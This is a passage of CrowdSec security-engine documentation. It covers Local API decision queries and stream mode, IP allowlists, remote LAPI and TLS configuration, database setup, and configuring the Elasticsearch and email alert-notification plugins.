EVENTS | EXPIRATION | ALERT ID | +------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ | 2337 | cscli | Range:2.2.3.0/24 | manual 'ban' from | ban | | | 1 | 3h59m18.079301785s | 1164 | | | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | | 2336 | cscli | Ip:192.168.1.1 | manual 'ban' from | ban | | | 1 | 3h59m11.079297437s | 1163 | | | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | +------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ ``` ### Query mode : IP[โ€‹](#query-mode--ip "Direct link to Query mode : IP") Query a single banned IP SHQuery a single banned IPCOPY ``` โ–ถ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?ip=192.168.1.1 [{"duration":"3h51m57.363171728s","id":2336,"origin":"cscli","scenario":"manual 'ban' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"Ip","type":"ban","value":"192.168.1.1"}] ``` Query a single IP SHQuery a single IPCOPY ``` โ–ถ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?ip=1.2.3.5 null ``` Query an IP contained in an existing ban SHQuery an IP contained in an existing banCOPY ``` โ–ถ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?ip\=2.2.3.42 [{"duration":"3h38m32.349736035s","id":2337,"origin":"cscli","scenario":"manual 'ban' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"Range","type":"ban","value":"2.2.3.0/24"}] ``` *note: notice that the decision returned is the range that we banned earlier and that contains query ip* ### Query mode : Range[โ€‹](#query-mode--range "Direct link to Query mode : Range") Query a range in which one of the ban is contained SHQuery a range in which one of the ban is containedCOPY ``` โ–ถ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?range=1.2.3.0/24\&contains\=false [{"duration":"3h48m7.676653651s","id":2336,"origin":"cscli","scenario":"manual 'ban' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"Ip","type":"ban","value":"192.168.1.1"}] ``` *note: notice the `contains` flag that is set to false* SHCOPY ``` โ–ถ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?range=1.2.3.0/24\&contains\=true null ``` Query a range which is contained by an existing ban SHQuery a range which is contained by an existing banCOPY ``` โ–ถ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?range\=2.2.3.1/25 [{"duration":"3h30m24.773063133s","id":2337,"origin":"cscli","scenario":"manual 'ban' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"Range","type":"ban","value":"2.2.3.0/24"}] ``` ### Query mode : non IP centric decisions[โ€‹](#query-mode--non-ip-centric-decisions "Direct link to Query mode : non IP centric decisions") While most people will use crowdsec to ban IPs or ranges, decisions can target other scopes and other decisions : SHCOPY ``` โ–ถ sudo cscli decisions add --scope username --value myuser --type enforce_mfa INFO[0000] Decision successfully added โ–ถ sudo cscli decisions list +------+--------+------------------+----------------------------------------------------+-------------+---------+----+--------+--------------------+----------+ | ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | ALERT ID | +------+--------+------------------+----------------------------------------------------+-------------+---------+----+--------+--------------------+----------+ | 2338 | cscli | username:myuser | manual 'enforce_mfa' from | enforce_mfa | | | 1 | 3h59m55.384975175s | 1165 | | | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | | 2337 | cscli | Range:2.2.3.0/24 | manual 'ban' from | ban | | | 1 | 3h27m1.384972861s | 1164 | | | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | | 2336 | cscli | Ip:192.168.1.1 | manual 'ban' from | ban | | | 1 | 3h26m54.384971268s | 1163 | | | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | +------+--------+------------------+----------------------------------------------------+-------------+---------+----+--------+--------------------+----------+ ``` Query a decision on a given user SHQuery a decision on a given userCOPY ``` โ–ถ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?scope\=username\&value\=myuser [{"duration":"3h57m59.021170481s","id":2338,"origin":"cscli","scenario":"manual 'enforce_mfa' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"username","type":"enforce_mfa","value":"myuser"}] ``` Query all decisions of a given type SHQuery all decisions of a given typeCOPY ``` โ–ถ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?type\=enforce_mfa [{"duration":"3h57m21.050290118s","id":2338,"origin":"cscli","scenario":"manual 'enforce_mfa' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"username","type":"enforce_mfa","value":"myuser"}] ``` ## Stream mode[โ€‹](#stream-mode "Direct link to Stream mode") The "streaming mode" of the API (which is actually more like polling) allows for bouncers that are going to fetch on a regular basis an update of the existing decisions. The endpoint is `/decisions/stream` with a single `startup` (boolean) argument. The argument allows to indicate if the bouncer wants the full state of decisions, or only an update since it last pulled. Given the our state looks like : SHCOPY ``` โ–ถ sudo cscli decisions list +------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ | ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | ALERT ID | +------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ | 2337 | cscli | Range:2.2.3.0/24 | manual 'ban' from | ban | | | 1 | 2h55m26.05271136s | 1164 | | | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | | 2336 | cscli | Ip:192.168.1.1 | manual 'ban' from | ban | | | 1 | 2h55m19.052706441s | 1163 | | | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | +------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ ``` The first call to `/decisions/stream` will look like : SHCOPY ``` โ–ถ curl -s -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions/stream\?startup\=true | jq . { "deleted": [ { "duration": "-18897h25m52.809576151s", "id": 1, "origin": "crowdsec", "scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", "value": "123.206.50.249" }, ... ], "new": [ { "duration": "22h20m11.909761348s", "id": 2266, "origin": "CAPI", "scenario": "crowdsecurity/http-sensitive-files", "scope": "ip", "type": "ban", "value": "91.241.19.122/32" }, ... ] } ``` *note: the initial state will contained passed deleted events (to account for crashes/services restart for example), and the current decisions, both local and those fed from the central API* info You might notice that even you are requesting for the initial state, you receive a lot of "deleted" decisions. This is intended to allow you to easily restart the local API without having a desynchronized state with the bouncers. SHCOPY ``` โ–ถ curl -s -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions/stream\?startup\=false | jq . { "deleted": null, "new": null } ``` *note: Calling the decisions/stream just after will lead to empty results, as no decisions have been added or deleted* Let's now add a new decision : SHCOPY ``` โ–ถ sudo cscli decisions add -i 3.3.3.4 INFO[0000] Decision successfully added ``` And call our endpoint again : SHCOPY ``` โ–ถ curl -s -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions/stream\?startup\=false | jq . { "deleted": null, "new": [ { "duration": "3h59m57.641708614s", "id": 2410, "origin": "cscli", "scenario": "manual 'ban' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'", "scope": "Ip", "type": "ban", "value": "3.3.3.4" } ] } ``` --- # AllowLists The AllowLists feature in CrowdSec lets you manage IP-based allowlists at the LAPI level. It affects both local decisions and blocklist pulls, giving you more flexibility to trust specific IPs while keeping CrowdSec security controls in place. CrowdSec Premium: Centralized Console Management Premium users can manage AllowLists directly from the [CrowdSec Console](https://docs.crowdsec.net/u/console/allowlists.md), enabling centralized management across multiple Security Engines and Integrations. Console-managed allowlists require subscribing entities (Security Engines, Integrations, or Organizations) after creation. AllowLists affect local decisions and blocklist pulls in different ways: | Area | Action | Real Time | | ------------ | --------------------------------------------------- | ---------------------- | | Local alerts | Alert is dropped, action logged. | โœ… | | Blocklists | IP is removed before database insertion | โœ… | | WAF (AppSec) | Request not blocked, action logged. | Refreshed every minute | | cscli | Decision is blocked unless special flag is provided | โœ… | AllowLists are limited to IP/range-based rules. If you need rules based on log elements (such as URLs), [Parser Whitelists](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md) or [Profile Rules](https://docs.crowdsec.net/docs/next/local_api/profiles/format.md) might be more relevant. ## Creating an allowlist[โ€‹](#creating-an-allowlist "Direct link to Creating an allowlist") Create an allowlist with `cscli allowlists create`, for example: `cscli allowlists create my_allowlist -d safe_ips`. The `-d` flag is mandatory. It sets a description for future reference: SHCOPY ``` $ cscli allowlists create my_allowlist --description "test allowlist" allowlist 'my_allowlist' created successfully ``` This command must be run on the LAPI. ## Adding entries to an allowlist[โ€‹](#adding-entries-to-an-allowlist "Direct link to Adding entries to an allowlist") Add entries with `cscli allowlists add value_1 value_2 ...`. The allowlist must exist. By default, allowlist entries have no expiration, but you can specify one with the `-e` flag: SHCOPY ``` $ cscli allowlists add my_allowlist 1.2.3.4 -e 7d added 1 values to allowlist my_allowlist ``` Values can be IPs or ranges. You can add an optional description for each entry with the `-d` flag: SHCOPY ``` $ cscli allowlists add my_allowlist 1.2.3.4 -e 7d -d "pentest IPs" added 1 values to allowlist my_allowlist ``` You cannot add the same value twice to an allowlist. To edit an entry, remove it first, then add it again. This command must be run on the LAPI. ## Removing entries from an allowlist[โ€‹](#removing-entries-from-an-allowlist "Direct link to Removing entries from an allowlist") Remove entries with `cscli allowlists remove value_1 value_2 ...`: SHCOPY ``` $ cscli allowlists remove my_allowlist 1.2.3.4 removed 1 values from allowlist my_allowlist ``` This command must be run on the LAPI. ## Viewing the contents of an allowlist[โ€‹](#viewing-the-contents-of-an-allowlist "Direct link to Viewing the contents of an allowlist") Inspect an allowlist with `cscli allowlists inspect `: SHCOPY ``` $ cscli allowlists inspect my_allowlist โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Allowlist: my_allowlist โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Name my_allowlist Description test allowlist Created at 2025-03-06T13:14:42.957Z Updated at 2025-03-06T13:15:13.684Z Managed by Console no โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Value Comment Expiration Created at โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ 1.2.3.4 example description 2025-03-13T13:15:05.046Z 2025-03-06T13:14:42.957Z 5.4.3.2 never 2025-03-06T13:14:42.957Z โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ``` This command can be run on the LAPI or any log processor machine. ## Deleting an allowlist[โ€‹](#deleting-an-allowlist "Direct link to Deleting an allowlist") Delete an allowlist with `cscli allowlists delete `: SHCOPY ``` $ cscli allowlists delete my_allowlist allowlist 'my_allowlist' deleted successfully ``` The allowlist and all of its content will be deleted. This command must be run on the LAPI. --- # Configuration ## Configuration[โ€‹](#configuration "Direct link to Configuration") ### Client[โ€‹](#client "Direct link to Client") By default, `crowdsec` and `cscli` use `127.0.0.1:8080` as the default Local API. However you might want to use a remote API and configure a different endpoint for your api client. #### Register to a Remote API server[โ€‹](#register-to-a-remote-api-server "Direct link to Register to a Remote API server") * On the machine you want to connect to a Local API server, run the following command: SHCOPY ``` sudo cscli lapi register -u http://: ``` * On the Local API server, validate the machine by running the command: SHCOPY ``` sudo cscli machines list # to get the name of the new registered machine ``` SHCOPY ``` sudo cscli machines validate ``` * Restart the CrowdSec service on the machine you registered once validated: SHCOPY ``` sudo systemctl restart crowdsec ``` #### Disable the registered machine Local API[โ€‹](#disable-the-registered-machine-local-api "Direct link to Disable the registered machine Local API") On the machine you ran `cscli lapi register`, it optimal to disable the Local API component to save on resources since it is now forwarding all alerts/decisions to the Local API server. Within the `config.yaml` file, set `enable` under `api.server` to `false`: YAMLCOPY ``` api: server: enable: false ``` See where the `config.yaml` file is located on your operating system [here](https://docs.crowdsec.net/u/troubleshooting/security_engine.md#where-is-configuration-stored) ### Server[โ€‹](#server "Direct link to Server") #### Configure listen URL[โ€‹](#configure-listen-url "Direct link to Configure listen URL") If you would like your Local API to be used by a remote CrowdSec installation, you will need to modify the URL it listens on as by default it will listen on the loopback interface. Modify the [`listen_uri`](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#listen_uri) option in the `config.yaml`. #### Enable SSL[โ€‹](#enable-ssl "Direct link to Enable SSL") If your Local API is exposed to the internet, it is recommended to enable SSL or at least use a reverse proxy with SSL termination to secure the communication between the Log Processors / Remediation Components and the Local API. If your Log Processors and Remediation Components are apart of the same LAN or VPN, then this is not necessary step. ##### Local API SSL[โ€‹](#local-api-ssl "Direct link to Local API SSL") You can configure the Local API to use SSL by setting the `tls` option under `api.server` in the `config.yaml` file. YAMLCOPY ``` api: server: tls: cert_file: "/path/to/cert.pem" key_file: "/path/to/key.pem" ``` info If you are using a self signed certificate on connecting Log Processors and Remediation Components you must enable `insecure_skip_verify` options. * Log Processors (machines) YAMLCOPY ``` api: client: insecure_skip_verify: true ``` * Remediation Components (bouncers) This can differ based on the configuration please refer to the documentation of the component you are using. If you would like to read the full configuration options for TLS on the Local API please [see here](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#tls). You can also refer [here](https://docs.crowdsec.net/docs/next/local_api/tls_auth.md) for the documentation about TLS authentication. ##### Reverse Proxy[โ€‹](#reverse-proxy "Direct link to Reverse Proxy") We cannot cover all the reverse proxies available, please refer to the documentation of the reverse proxy you are using. However, the reverse proxy must send the connecting IP address as the `X-Forwarded-For` header to the Local API. However, when the Local API is behind a reverse proxy you will need to configure the `trusted_proxies` and `use_forwarded_for_headers` options under `api.server` within the `config.yaml` file to be able to get the correct IP address within the database. YAMLCOPY ``` api: server: use_forwarded_for_headers: true trusted_proxies: - "127.0.0.1" ## Change this to the proxy IP this is presuming the proxy is on the same machine ``` See where the `config.yaml` file is located on your operating system [here](https://docs.crowdsec.net/u/troubleshooting/security_engine.md#where-is-configuration-stored) See the [Local API public documentation](https://crowdsecurity.github.io/api_doc/lapi/). --- # Databases By default, the CrowdSec Local API use `SQLite` as backend storage. In case you expect a lot of traffic on your Local API, you should use `MySQL`, `MariaDB` or `PostgreSQL`. For `SQLite`, there is nothing to do to make it work with CrowdSec. For `MySQL`, `MariaDB` and `PostgreSQL` , you need to create a database and an user. Please refer to [ent.](https://entgo.io/) [supported database](https://entgo.io/docs/dialects/). At the time of writing : * MySQL `5.6.35`, `5.7.26` and `8` * MariaDB `10.2`, `10.3` and latest * PostgreSQL `13`, `14`, `15`, `16`, and `17`. * SQLite * Gremlin warning When switching an existing instance of CrowdSec to a new database backend, you need to register your machine(s) (ie. `cscli machines add -a`) and bouncer(s) to the new database, as data is not migrated. ## MySQL and MariaDB[โ€‹](#mysql-and-mariadb "Direct link to MySQL and MariaDB") Connect to your `MySQL` or `MariaDB` server and run the following commands: TEXTCOPY ``` mysql> CREATE DATABASE crowdsec; mysql> CREATE USER 'crowdsec'@'%' IDENTIFIED BY ''; mysql> GRANT ALL PRIVILEGES ON crowdsec.* TO 'crowdsec'@'%'; mysql> FLUSH PRIVILEGES; ``` Then edit `/etc/crowdsec/config.yaml` to update the [`db_config`](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#db_config) part. You can now start or restart CrowdSec. ## PostgreSQL[โ€‹](#postgresql "Direct link to PostgreSQL") Connect to your `PostgreSQL` server and run the following commands: TEXTCOPY ``` postgres=# CREATE DATABASE crowdsec; postgres=# CREATE USER crowdsec WITH PASSWORD ''; postgres=# ALTER SCHEMA public owner to crowdsec; postgres=# GRANT ALL PRIVILEGES ON DATABASE crowdsec TO crowdsec; ``` If you are running a version of PostgreSQL >= 15, you will also need to grant permission to create objects in the `public` schema: TEXTCOPY ``` postgres=# \c crowdsec postgres=# GRANT CREATE on SCHEMA public TO crowdsec; ``` Then edit `/etc/crowdsec/config.yaml` to update the [`db_config`](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#db_config) part. You can now start or restart CrowdSec. --- # Local API The Local API (LAPI) is one of the core components of the Security Engine to : * Allow Log Processors to push alerts & decisions to a database * Allow Remediation Components to consume said alerts & decisions from database * Allow `cscli` to manage the database (list, delete, etc) You can find the swagger documentation [here](https://crowdsecurity.github.io/api_doc/lapi/). This allows you to create [multi-machines architectures](https://crowdsec.net/multi-server-setup/) around CrowdSec or leverage [orchestration technologies](https://crowdsec.net/secure-docker-compose-stacks-with-crowdsec/). All subcategories below are related to the Local API and its functionalities. If you are utilizing a multi server architecture, you will only need to configure the functionality that you want to use on the LAPI server. For example if you wish to receive notifications then you will only need to configure the Notification Plugins on the LAPI server and not each [log processor](https://docs.crowdsec.net/docs/next/log_processor/intro.md). ## Authentication[โ€‹](#authentication "Direct link to Authentication") LAPI offers multiple different authentication methods, which has their own restrictions based on the method used. You can find more information about the authentication methods [here](https://docs.crowdsec.net/docs/next/local_api/authentication.md). ## Profiles[โ€‹](#profiles "Direct link to Profiles") Profiles are a set of rules processed by the LAPI to determine if an alert should trigger a decision, notification or just simply log. They are processed in order of definition and can be used to make complex decisions based on the alert. You can find more information about profiles [here](https://docs.crowdsec.net/docs/next/local_api/profiles/intro.md). ## Notification Plugins[โ€‹](#notification-plugins "Direct link to Notification Plugins") Notification plugins are used to send alerts to external services. You can find more information about configuring the plugins [here](https://docs.crowdsec.net/docs/next/local_api/notification_plugins/intro.md). ## Databases[โ€‹](#databases "Direct link to Databases") Databases documentation showcases which database the LAPI supports and how to configure the database to allow the LAPI to utilize it. You can find more information about the databases [here](https://docs.crowdsec.net/docs/next/local_api/database.md). --- # Elasticsearch CrowdSec can forward Alerts to Elasticsearch using the HTTP plugin. This guide will show you how to configure the plugin to send alerts to your Elasticsearch instance. ## Configuring the plugin[โ€‹](#configuring-the-plugin "Direct link to Configuring the plugin") By default the configuration for HTTP plugin is located at these default location per OS: * **Linux** `/etc/crowdsec/notifications/http.yaml` * **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml` Then replace the `url` and the `format` of the plugin's config so that it posts the events to your Elasticsearch instance. ### Base configuration[โ€‹](#base-configuration "Direct link to Base configuration") An example configuration: YAMLCOPY ``` type: http name: http_default # this must match with the registered plugin in the profile log_level: debug # Options include: trace, debug, info, warn, error, off format: |- {{ range .}} {"index": { "_index": "crowdsec"} } {{.|toJson}} {{ end }} url: http://127.0.0.1:9200/_bulk method: POST headers: Content-Type: "application/json" ``` ### Authentication[โ€‹](#authentication "Direct link to Authentication") If you have enabled security on your elasticsearch cluster, you will have to add a custom `Authorization` header to be able to insert the events. Elasticsearch uses HTTP basic auth, so you can very easily generate the header value by running: SHCOPY ``` echo -n "LOGIN:PASSWORD" | base64 -w0 ``` Then add it to your configuration: YAMLCOPY ``` type: http name: http_default # this must match with the registered plugin in the profile log_level: debug # Options include: trace, debug, info, warn, error, off format: |- {{ range .}} {"index": { "_index": "crowdsec"} } {{.|toJson}} {{ end }} url: http://127.0.0.1:9200/_bulk method: POST headers: Content-Type: "application/json" Authorization: "Basic BASE64_GENERATED_PREVIOUSLY" ``` ### Self-Signed certificate[โ€‹](#self-signed-certificate "Direct link to Self-Signed certificate") If your elasticsearch cluster uses a self-signed certificate, you must set `skip_tls_verification` to `true` in your configuration: YAMLCOPY ``` type: http name: http_default # this must match with the registered plugin in the profile log_level: debug # Options include: trace, debug, info, warn, error, off format: |- {{ range .}} {"index": { "_index": "crowdsec"} } {{.|toJson}} {{ end }} url: http://127.0.0.1:9200/_bulk skip_tls_verification: true method: POST headers: Content-Type: "application/json" ``` ### Potential mapping issues[โ€‹](#potential-mapping-issues "Direct link to Potential mapping issues") If you are facing errors because mapper complains about field types inference, ie: TEXTCOPY ``` mapper [events.meta.value] cannot be changed from type [date] to [text] ``` You can create mapping in advance: SHCOPY ``` #!/usr/bin/env bash curl -X PUT \ --data "@index_template.json" \ -u user:password \ -H "Content-Type: application/json" \ http://127.0.0.1:9200/_index_template/crowdsec ``` With a mapping such as: JSONCOPY ``` { "version": 1, "index_patterns": ["crowdsec*"], "priority": 500, "_meta": { "description": "Crowdsec notification index template" }, "template": { "settings": { "number_of_shards": 1 }, "mappings": { "properties": { "capacity": { "type": "integer" }, "decisions": { "properties": { "duration": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "origin": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "scenario": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "scope": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "type": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "value": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } } } }, "events": { "properties": { "meta": { "properties": { "key": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "value": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } } } }, "timestamp": { "type": "date" } } }, "events_count": { "type": "integer" }, "leakspeed": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "machine_id": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "message": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "remediation": { "type": "boolean" }, "scenario": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "scenario_hash": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "scenario_version": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "simulated": { "type": "boolean" }, "source": { "properties": { "as_number": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "cn": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "ip": { "type": "ip" }, "latitude": { "type": "float" }, "longitude": { "type": "float" }, "scope": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } }, "value": { "type": "text", "fields": { "keyword": { "type": "keyword", "ignore_above": 256 } } } } }, "start_at": { "type": "date" }, "stop_at": { "type": "date" } } } } } ``` And then use for example a daily index: YAMLCOPY ``` type: http name: elasticsearch log_level: debug # Options include: trace, debug, info, warn, error, off format: |- {{ range .}} {"index": { "_index": "crowdsec-{{ substr 0 10 .StartAt }}"} } {{.|toJson}} {{ end }} url: http://127.0.0.1:9200/_bulk method: POST headers: Content-Type: "application/json" Authorization: "Basic [redacted]" ``` ## Testing the plugin[โ€‹](#testing-the-plugin "Direct link to Testing the plugin") Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. SHCOPY ``` cscli notifications test http_default ``` note If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. ## Enabling the plugin[โ€‹](#enabling-the-plugin "Direct link to Enabling the plugin") In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item. TEXTCOPY ``` #notifications: # - http_default ``` note If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. warning Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. Example profile with http plugin enabled YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) notifications: - http_default on_success: break ``` ## Final Steps:[โ€‹](#final-steps "Direct link to Final Steps:") Let's restart crowdsec SHCOPY ``` sudo systemctl restart crowdsec ``` You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto and then checking whether they reeach Elasticsearch. --- # Email Plugin The Email plugin is shipped by default with CrowdSec. The following guide shows how to configure, test and enable it. ## Configuring the plugin[โ€‹](#configuring-the-plugin "Direct link to Configuring the plugin") By default the configuration for Email plugin is located at these default location per OS: * **Linux** `/etc/crowdsec/notifications/email.yaml` * **FreeBSD** `/usr/local/etc/crowdsec/notifications/email.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\notifications\email.yaml` ### Base configuration[โ€‹](#base-configuration "Direct link to Base configuration") Here is the base configuration for the Email plugin: YAMLCOPY ``` type: email # Don't change name: email_default # Must match the registered plugin in the profile # One of "trace", "debug", "info", "warn", "error", "off" log_level: info # group_wait: # Time to wait collecting alerts before relaying a message to this plugin, eg "30s" # group_threshold: # Amount of alerts that triggers a message before has expired, eg "10" # max_retry: # Number of attempts to relay messages to plugins in case of error timeout: 20s # Time to wait for response from the plugin before considering the attempt a failure, eg "10s" #------------------------- # plugin-specific options # The following template receives a list of models.Alert objects # The output goes in the email message body format: | {{range . -}} {{$alert := . -}} {{range .Decisions -}}

{{.Value}} will get {{.Type}} for next {{.Duration}} for triggering {{.Scenario}} on machine {{$alert.MachineID}}.

CrowdSec CTI

{{end -}} {{end -}} smtp_host: # example: smtp.gmail.com smtp_username: # Replace with your actual username smtp_password: # Replace with your actual password smtp_port: # Common values are any of [25, 465, 587, 2525] auth_type: # Valid choices are "none", "crammd5", "login", "plain" sender_name: "CrowdSec" sender_email: # example: foo@gmail.com email_subject: "CrowdSec Notification" receiver_emails: # - email1@gmail.com # - email2@gmail.com # One of "ssltls", "starttls", "none" encryption_type: "ssltls" # If you need to set the HELO hostname: # helo_host: "localhost" # If the email server is hitting the default timeouts (10 seconds), you can increase them here # # connect_timeout: 10s # send_timeout: 10s --- # type: email # name: email_second_notification # ... ``` The `format` configuration directive is a [go template](https://pkg.go.dev/text/template), which receives a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. Typical port and TLS/SSL settings | Port | Encryption Type | | ---- | --------------- | | 25 | none | | 465 | ssltls | | 587 | starttls | warning Port 25 should be avoided at all costs as it is commonly blocked by ISPs and email providers and is insecure as it sends in plain text. info Port settings above are common, but may vary depending on your email provider. Please refer to your email provider's documentation for the correct settings. ## Testing the plugin[โ€‹](#testing-the-plugin "Direct link to Testing the plugin") Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. SHCOPY ``` cscli notifications test email_default ``` note If you have changed the `name` property in the configuration file, you should replace `email_default` with the new name. ## Enabling the plugin[โ€‹](#enabling-the-plugin "Direct link to Enabling the plugin") In your profiles you will need to uncomment the `notifications` key and the `email_default` plugin list item. TEXTCOPY ``` #notifications: # - email_default ``` note If you have changed the `name` property in the configuration file, you should replace `email_default` with the new name. warning Ensure your YAML is properly formatted the `notifications` 